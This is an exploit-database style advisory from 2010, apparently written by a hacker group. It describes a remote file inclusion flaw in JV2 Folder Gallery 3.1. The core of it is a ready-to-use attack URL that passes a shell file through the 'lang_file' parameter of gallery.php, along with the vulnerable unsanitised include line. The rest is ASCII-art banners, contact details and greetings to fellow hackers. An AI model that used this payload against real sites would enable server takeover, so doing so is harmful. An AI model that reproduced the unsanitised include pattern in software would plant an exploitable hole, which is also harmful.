[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : JV2 Folder Gallery <==3.1 (gallery.php ) Remote File Inclusion Vulnerability
# Published : 2010-05-21
# Author : Sn!pEr.S!Te Hacker
# Previous Title : ConPresso 4.0.7 SQL Injection Vulnerability
# Next Title : Online University (Auth Bypass) SQL Injection Vulnerability


__           __      ___ 
 __            __  /'__`        / __  /'__`                  
/_    ___   /_/_L     ___  ,_/ /   _ __       ___    ___     ___ ___           
/  /' _ ` / /_/__<_  /'___  /    /`'__    /'___ / __` /' __` __`    
   / /    / L / __/  _  _   /  __/ __// L / / /    
   _ _ __   ____/ ____\ __\ ____/ _ /_ ____ ____/ _ _ _   
   /_//_//_/ _ /___/  /____/ /__/ /___/  /_/ /_//____//___/  /_//_//_/ 
               ____/                                            
               /___/ 
  
# ----------------------oOO---(_)---OOo----------------------- 
# | __ __ |   
# | _____/ /_____ ______/ /_ __ ______ ______ |   
# | / ___/ __/ __ `/ ___/ __ / / / / __ `/ ___/ |   
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |   
# | /____/__/__,_/_/ /_.___/__,_/__, /____/ |   
# | Security Sn!pEr.S!Te /____/ 2o1o |   
# ------------------------------------------------------------ 
     Remote File Inclusion Vulnerability
# ----------------------------------------------------------- 
---------------------------------------------------------------- 
JV2 Folder Gallery <==3.1  (gallery.php ) 
  
----------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker #  
# [+] Email : sniper-site@HoTMaiL.coM #  
# [+] T34M Sn!pEr.S!Te Hacker #  
# [+] 21-5-2010 # 
# [+] Script : Image Galleries ? JV2 Folder Gallery#
# [+] Download:http://foldergallery.jv2.net/download.php?file=foldergallery_3.1#
# Version: [3.1] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : gallery/gallery.php

http://localhost/gallery/gallery.php?lang_file=[shell.txt ]

htpp://127.0.0.1/gallery/gallery.php?lang_file=[shell.txt ]

iinclude ($lang_file);

line : 113 

web site Favorites my : http://inj3ct0r.com/  & http://www.hack0wn.com/ & http://www.exploit-db.com

==================   Greetz : all my friend   ===================
 * liar * sm Hacker * baby hacker * mAsH3L ALLiL * saleh Hacker * ALhal alsab |
 * ThE DarK * abo badr * aStoorh alqssim * Ramad Hacker * h-ex |
 * yousfe * HitLer.3rb * QAHER ALRAFDE * DjHacker * My Heart * Mr.koka |